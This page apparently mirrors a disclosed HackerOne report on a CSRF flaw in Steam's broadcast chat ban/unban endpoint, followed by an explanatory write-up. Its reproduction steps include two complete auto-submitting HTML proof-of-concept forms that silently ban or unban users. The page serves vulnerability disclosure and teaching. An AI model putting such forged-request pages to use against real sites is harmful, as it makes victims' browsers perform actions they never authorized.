Skip to content
CSRF Disclosed report Beginner

CSRF | Ban or unban users in broadcast's chat

The broadcast chat moderation endpoint accepted POST requests without a CSRF token, so a page hosted by an attacker could silently submit ban or unban actions. If the broadcast owner visited that page, the attacker could permanently ban or unban other users in the chat.

romesful Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 18 days
  • Paid in 18 days
  • Disclosed after 6 months

#Steps to reproduce

  • Start broadcast
  • Attacker needs to craft special HTML page
  • Get broadcast's steam id(it contains in URL: https://steamcommunity.com/broadcast/watch/{STEAM ID}/
  • If attacker wants to unban somebody, he needs to create HTML page like this:
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://steamcommunity.com/broadcast/ajaxupdateusermute/" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="broadcaststeamid" value="{STEAM ID}">
<input type="hidden" name="issuersteamid" value="{STEAM ID}">
<input type="hidden" name="chattersteamid" value="{USER'S STEAM ID TO UNBAN}">
<input type="hidden" name="bantype" value="0">
<input type="hidden" name="duration" value="0">
<input type="hidden" name="perm" value="0">
</form>
<script>document.getElementById("csrf-form").submit()</script>
<html>
<head>
    <title>Unban in chat - CSRF</title>
</head>

<body>
<h1>Somebody was unbanned silently :/</h1>
</body>
</html>
  • If attacker wants to permanently ban somebody, he needs to create HTML page like this:
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://steamcommunity.com/broadcast/ajaxupdateusermute/" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="broadcaststeamid" value="{STEAM ID}">
<input type="hidden" name="issuersteamid" value="{STEAM ID}">
<input type="hidden" name="chattersteamid" value="{USER'S STEAM ID TO BAN}">
<input type="hidden" name="bantype" value="1">
<input type="hidden" name="duration" value="0">
<input type="hidden" name="perm" value="1">
</form>
<script>document.getElementById("csrf-form").submit()</script>
<html>
<head>
    <title>Ban in chat - CSRF</title>
</head>

<body>
<h1>Somebody was banned silently :/</h1>
</body>
</html>
  • After that broadcast's creator needs to visit Attacker's page.
  • And somebody will be banned/unbanned.

#Video PoC *I banned myself, because i don't have third Steam account

bandicam_2018-07-13_15-05-58-799.mp4 From the original on HackerOne

#Fix Add sessionid parameter to POST request, like this implemented in others requests.

Impact

Attacker can permanently ban or unban other users.

The original report as published on HackerOne, by romesful. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The broadcast chat moderation endpoint did not require a per-session anti-CSRF token, so cross-site POST requests were accepted as the victim.

Impact

An attacker could permanently ban or unban other users in a broadcast's chat, but only if the broadcast creator visited the attacker's page while logged in.

What the attacker needed

Attacker hosts a page; victim is a broadcast creator; victim visits the page while logged in

How it was found

  1. Start a broadcast and note its Steam ID from the watch URL.
  2. Build a hidden HTML form that posts to the broadcast mute/ban endpoint with the broadcast and target user IDs.
  3. Get the broadcast creator to open the attacker's page so the form submits in their browser.
  4. The chosen user is then banned or unbanned in the chat.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites often rely on the browser sending the user's login cookie with every request. If a sensitive action does not also require a secret value that only the real site knows, another site can make the browser send that action for you. Here the ban/unban form had no such secret, so a hidden form on an attacker's page could ban or unban people once the streamer opened it.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from Valve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.